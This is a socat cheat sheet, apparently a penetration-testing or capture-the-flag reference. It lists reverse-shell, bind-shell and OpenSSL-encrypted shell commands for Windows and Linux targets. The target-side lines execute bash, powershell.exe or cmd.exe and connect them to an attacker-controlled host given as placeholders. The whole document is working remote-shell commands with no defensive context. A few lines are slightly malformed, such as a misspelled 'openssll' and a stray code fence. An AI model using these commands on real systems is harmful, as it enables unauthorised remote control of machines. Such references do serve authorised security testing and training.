socat cheat sheet

Reverse Shell

reverse shell listener

socat tcp-l:<port> - socat TCP-L:<PORT> file:`tty`,raw,echo=0

windows target

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

linux target

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Bind Shell

generic connect

socat TCP:<TARGET-IP>:<TARGET-PORT> -

windows target listener

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

linux target listener

```socat TCP-L: EXEC:"bash -li"

Connect from statically compiled socat to LHOST

Binary is inside this dir socat TCP:<ATTACKER-IP>:<ATTACKER-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Encrypted Shell

create key + cert

openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

create pem file

cat shell.key shell.crt > shell.pem

reverse shell listener

socat openssl-listen:<port>,cert=shell.pem,verify=0 - socat openssl-listen:<port>,cert=shell.pem,verify=0 file:`tty`,raw,echo=0

connecting shell on target to listener

socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:/bin/bash socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane

encrypted bind shell on windows listening

• target socat openssl-listen:<local-ip>:<local-port>,verify=0 exec:cmd.exe,pipes

encrypted bind shell attacker connecting

socat openssl:<port>,cert=shell.pem,verify=0 -
